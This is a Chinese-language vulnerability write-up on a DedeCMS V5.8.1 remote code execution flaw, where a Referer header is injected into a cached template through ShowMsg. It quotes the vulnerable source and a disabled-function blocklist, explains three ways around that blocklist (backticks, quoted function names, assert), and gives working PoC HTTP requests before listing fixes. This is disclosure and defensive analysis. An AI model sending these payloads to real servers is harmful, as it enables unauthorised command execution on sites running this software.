DedeCMS_V5.8.1 ShowMsg 模板注入远程代码执行漏洞分析
字数 761 2025-08-03 16:42:34
DedeCMS_V5.8.1 ShowMsg 模板注入远程代码执行漏洞分析
漏洞概述
DedeCMS_V5.8.1存在一个前台任意未授权命令执行漏洞,该漏洞源于ShowMsg函数在处理模板时存在模板注入问题,导致攻击者可以通过控制HTTP Referer头注入恶意代码,最终实现远程代码执行。
漏洞原理分析
漏洞触发流程
- 攻击者访问
Plus/recommend.php并控制HTTP Referer头 recommend.php调用ShowMsg函数并传递可控参数ShowMsg函数使用DedeTemplate处理模板内容- 恶意代码被写入临时模板缓存文件
- 系统包含该缓存文件导致代码执行
关键代码分析
recommend.php
require_once dirname(__FILE__) . "/../include/common.inc.php";
require_once DEDEINC . '/common.func.php';
if (empty($aid)) {
ShowMsg("文档ID不能为空!", "-1"); // gourl参数设置为-1
exit();
}
include/common.func.php
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}
$msg = $htmlhead . $rmsg . $htmlfoot;
$tpl = new DedeTemplate();
$tpl->LoadString($msg); // 加载包含恶意Referer的模板内容
$tpl->Display();
include/dedetemplate.class.php
public function LoadString($str = '') {
$this->sourceString = $str;
$hashcode = md5($this->sourceString);
$this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc"; // 生成缓存文件名
$this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
$this->ParseTemplate();
}
public function Display() {
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
include $this->cacheFile; // 包含缓存文件导致代码执行
}
public function WriteCache($ctype = 'all') {
if (!file_exists($this->cacheFile) || $this->isCache == false
|| (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
) {
if (!$this->isParse) {
$this->ParseTemplate();
}
$fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
flock($fp, 3);
$result = trim($this->GetResult());
$errmsg = '';
if (!$this->CheckDisabledFunctions($result, $errmsg)) {
fclose($fp);
@unlink($this->cacheFile);
die($errmsg);
}
fwrite($fp, $result);
fclose($fp);
// ... 其他代码 ...
}
}
安全限制绕过
系统通过CheckDisabledFunctions函数检查禁用函数:
public function CheckDisabledFunctions($str, &$errmsg = '') {
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
if (!defined('DEDEDISFUN')) {
$tokens = token_get_all_nl($str);
$disabled_functions = explode(',', $cfg_disable_funs);
foreach ($tokens as $token) {
if (is_array($token)) {
if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
$errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
return false;
}
}
}
}
return true;
}
但该检查存在以下绕过方式:
assert函数不在黑名单中- 未过滤反引号(
`)执行系统命令 - 未过滤双引号(
"")中的函数调用
漏洞利用
POC示例
- 使用反引号执行命令:
GET /plus/recommend.php?b=dir HTTP/1.1
Host: 127.0.0.1
Referer: <?php $b = `$a`; echo "<pre>$b</pre>";/*
- 使用双引号调用函数:
GET /plus/recommend.php?b=dir HTTP/1.1
Host: 127.0.0.1
Referer: <?php "system" ($b); /*
- 使用assert函数:
GET /plus/recommend.php?b=dir HTTP/1.1
Host: 127.0.0.1
Referer: <?php assert ($b); /*
修复建议
- 更新到最新版本的DedeCMS
- 临时修复方案:
- 在
common.func.php中增加对HTTP Referer的过滤 - 将
assert函数加入禁用函数列表 - 对反引号和双引号中的函数调用进行检查
- 在
- 修改模板处理逻辑,避免直接包含用户可控内容
总结
该漏洞利用DedeCMS模板处理机制中的缺陷,通过控制HTTP Referer头注入恶意代码,最终实现远程代码执行。漏洞利用门槛低,危害性高,建议用户及时更新或采取临时修复措施。